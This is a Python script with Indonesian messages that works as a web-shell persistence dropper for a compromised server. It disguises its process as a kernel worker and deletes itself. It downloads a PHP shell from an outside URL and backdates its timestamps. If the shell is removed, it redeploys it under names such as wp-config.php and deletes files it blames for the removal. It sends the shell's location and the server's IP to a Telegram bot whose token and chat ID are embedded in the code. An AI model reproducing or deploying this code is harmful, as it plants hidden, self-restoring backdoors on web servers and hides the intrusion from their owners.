#!/usr/bin/env python3 import os import time import random import sys import urllib.request import urllib.parse import subprocess import hashlib from datetime import datetime # Konfigurasi CONFIG = { "RAW_SHELL_URL": "https://s-kobam.direct/simpanan/bypas.txt", "BOT_TOKEN": os.getenv("8295512712:AAFQcEhu2gRC-W8Ov-9pOcMPQy6mxxeRBOs"), "CHAT_ID": os.getenv("CHAT_ID", "1345261884"), "SHELL_NAME": "kaye1337.php", "FAKE_NAMES": [ "index.php" "wp-config.php" "wp-login.php" "wp-admin.php" "wp-settings.php" "wp-load.php" "functions.php" "xmlrpc.php" "configuration.php" "administrator.php" "config.php" "install.php" "admin.php" "autoload.php" "settings.php" "db.php" "repair.php" "upload.php" "cmd.php" "test.php" "backup.php" "shell.php" "uploadify.php" "exploit.php" "functions.bak.php" "functions.old.php" "class.php" "class-wp.php" "wp-settings.bak.php" "wp-settings.old.php" "phpinfo.php" "info.php" "debug.php" "console.php" "session.php" "cache.php" "db_backup.php" "sql_dump.php" "uploads.php" "filemanager.php" "fileupload.php" "download.php" ], "TIMEOUT": 10, "POLL_INTERVAL": 2, "PHP_SCAN_DEPTH": 2 # Kedalaman scan file PHP } # Paths BASE_DIR = os.path.dirname(os.path.abspath(__file__)) SHELL_PATH = os.path.join(BASE_DIR, CONFIG["SHELL_NAME"]) TARGET_PATH = os.path.abspath(__file__) # State current_shell_path = SHELL_PATH current_shell_hash = None domain = sys.argv[1].rstrip("/") if len(sys.argv) > 1 else "https://mybantuan.my" last_redeploy_time = 0 redeploy_cooldown = 10 last_php_files = set() # Untuk melacak file PHP yang ada # Sembunyikan proses try: os.nice(19) os.execl(sys.executable, "[kworker/0:1]", *sys.argv) except: pass sys.argv[0] = "[kworker/0:1]" def kirim_telegram(message): url = f"https://api.telegram.org/bot{CONFIG['BOT_TOKEN']}/sendMessage" data = urllib.parse.urlencode({ "chat_id": CONFIG["CHAT_ID"], "parse_mode": "Markdown", "text": message }).encode('ascii') try: req = urllib.request.Request(url, data=data, method='POST') urllib.request.urlopen(req, timeout=CONFIG["TIMEOUT"]) except: pass def get_file_hash(path): try: with open(path, 'rb') as f: return hashlib.sha256(f.read()).hexdigest() except: return None def download_shell(target_path): try: with urllib.request.urlopen(CONFIG["RAW_SHELL_URL"], timeout=CONFIG["TIMEOUT"]) as response: content = response.read() with open(target_path, 'wb') as f: f.write(content) if os.path.getsize(target_path) == 0: return download_with_curl(target_path) os.chmod(target_path, 0o444) # read-only return True except: return download_with_curl(target_path) def download_with_curl(target_path): try: result = subprocess.run( ["curl", "-s", "-o", target_path, CONFIG["RAW_SHELL_URL"]], capture_output=True, text=True, timeout=CONFIG["TIMEOUT"] ) if result.returncode == 0 and os.path.getsize(target_path) > 0: os.chmod(target_path, 0o444) return True return False except: return False def get_oldest_file_timestamp(directory): try: oldest = min( (os.path.getmtime(os.path.join(directory, f)) for f in os.listdir(directory) if os.path.isfile(os.path.join(directory, f))), default=time.time() ) return datetime.fromtimestamp(oldest).strftime('%Y-%m-%d %H:%M:%S') except: return datetime.now().strftime('%Y-%m-%d %H:%M:%S') def get_relative_path(file_path): try: relative = os.path.relpath(file_path, BASE_DIR) return relative.replace(os.sep, "/") except: return os.path.basename(file_path) def get_php_files(root_dir): """Mengumpulkan semua file PHP dalam direktori dan subdirektori""" php_files = set() max_depth = CONFIG.get("PHP_SCAN_DEPTH", 2) try: root_dir = os.path.abspath(root_dir) for dirpath, dirnames, filenames in os.walk(root_dir): # Hitung kedalaman depth = dirpath[len(root_dir):].count(os.sep) if depth > max_depth: # Hentikan pencarian lebih dalam dirnames.clear() continue for filename in filenames: if filename.endswith('.php'): full_path = os.path.join(dirpath, filename) php_files.add(full_path) except Exception as e: kirim_telegram(f"❌ *Error saat mengumpulkan file PHP:* `{str(e)}`") return php_files def delete_php_files(deleted_files, old_shell_path): """Menghapus file PHP yang mencoba menghapus shell""" for file_path in deleted_files: try: if os.path.exists(file_path): os.remove(file_path) kirim_telegram(f"""⚠️ *File PHP penghapus shell telah dihapus!* 🔥 Pelaku: `{file_path}` 🎯 Target: `{old_shell_path}` ⚡ Aksi: Balik hapus otomatis!""") except Exception as e: kirim_telegram(f"""❌ *Gagal menghapus file PHP!* 📁 Path: `{file_path}` ❌ Error: `{str(e)}`""") def selamatkan_shell(trigger="unknown"): global current_shell_path, current_shell_hash, last_redeploy_time now = time.time() if now - last_redeploy_time < redeploy_cooldown: return try: random_name = random.choice(CONFIG["FAKE_NAMES"]) random_dir = BASE_DIR for root, dirs, _ in os.walk(BASE_DIR): valid_dirs = [d for d in dirs if d.lower() != 'cgi-bin'] if valid_dirs: random_dir = os.path.join(root, random.choice(valid_dirs)) break os.makedirs(random_dir, exist_ok=True) new_path = os.path.join(random_dir, random_name) if download_shell(new_path): current_shell_path = new_path current_shell_hash = get_file_hash(new_path) relative = get_relative_path(new_path) url = f"{domain}/{relative}" timestamp = get_oldest_file_timestamp(random_dir) try: with urllib.request.urlopen("https://api.ipify.org", timeout=CONFIG["TIMEOUT"]) as r: ip = r.read().decode() except: ip = "unknown" kirim_telegram(f"""⚠️ *Shell Dipindahkan! (Trigger: {trigger})* 📁 Path: `{new_path}` 🌍 URL: `{url}` 🌐 IP: `{ip}` 🕒 Waktu: {timestamp}""") auto_touch(new_path, timestamp) last_redeploy_time = now except: pass def check_file_changes(): global current_shell_path, current_shell_hash exists = os.path.exists(current_shell_path) accessible = os.access(current_shell_path, os.F_OK) if exists else False file_hash = get_file_hash(current_shell_path) if exists else None if not exists or not accessible: selamatkan_shell(trigger="missing") elif file_hash != current_shell_hash: selamatkan_shell(trigger="edited") def deploy_shell(): global current_shell_path, current_shell_hash if download_shell(SHELL_PATH): current_shell_path = SHELL_PATH current_shell_hash = get_file_hash(SHELL_PATH) relative = get_relative_path(SHELL_PATH) url = f"{domain}/{relative}" timestamp = get_oldest_file_timestamp(BASE_DIR) kirim_telegram(f"""✅ *Shell berhasil dideploy!* 📁 Path: `{SHELL_PATH}` 🌍 URL: `{url}` 🕒 Waktu: {timestamp}""") auto_touch(SHELL_PATH, timestamp) def self_destruct(): try: with open(TARGET_PATH, 'a'): pass subprocess.run(["rm", "-f", TARGET_PATH], timeout=2) except: pass def auto_touch(path, timestamp_str): try: ts = datetime.strptime(timestamp_str, '%Y-%m-%d %H:%M:%S').timestamp() os.utime(path, (ts, ts)) except: pass def main(): global last_php_files if not domain: self_destruct() return self_destruct() deploy_shell() # Inisialisasi daftar file PHP last_php_files = get_php_files(BASE_DIR) while True: try: # Dapatkan daftar file PHP saat ini current_php_files = get_php_files(BASE_DIR) # Cek status shell exists = os.path.exists(current_shell_path) accessible = os.access(current_shell_path, os.F_OK) if exists else False file_hash = get_file_hash(current_shell_path) if exists else None if not exists or not accessible: old_shell_path = current_shell_path selamatkan_shell(trigger="missing") # Cari file PHP yang dihapus deleted_php_files = last_php_files - current_php_files if deleted_php_files: delete_php_files(deleted_php_files, old_shell_path) elif file_hash != current_shell_hash: selamatkan_shell(trigger="edited") # Perbarui daftar file PHP untuk iterasi berikutnya last_php_files = current_php_files time.sleep(CONFIG["POLL_INTERVAL"]) except Exception as e: kirim_telegram(f"❌ *Error dalam loop:* `{str(e)}`") time.sleep(CONFIG["POLL_INTERVAL"]) if __name__ == "__main__": try: main() except KeyboardInterrupt: self_destruct()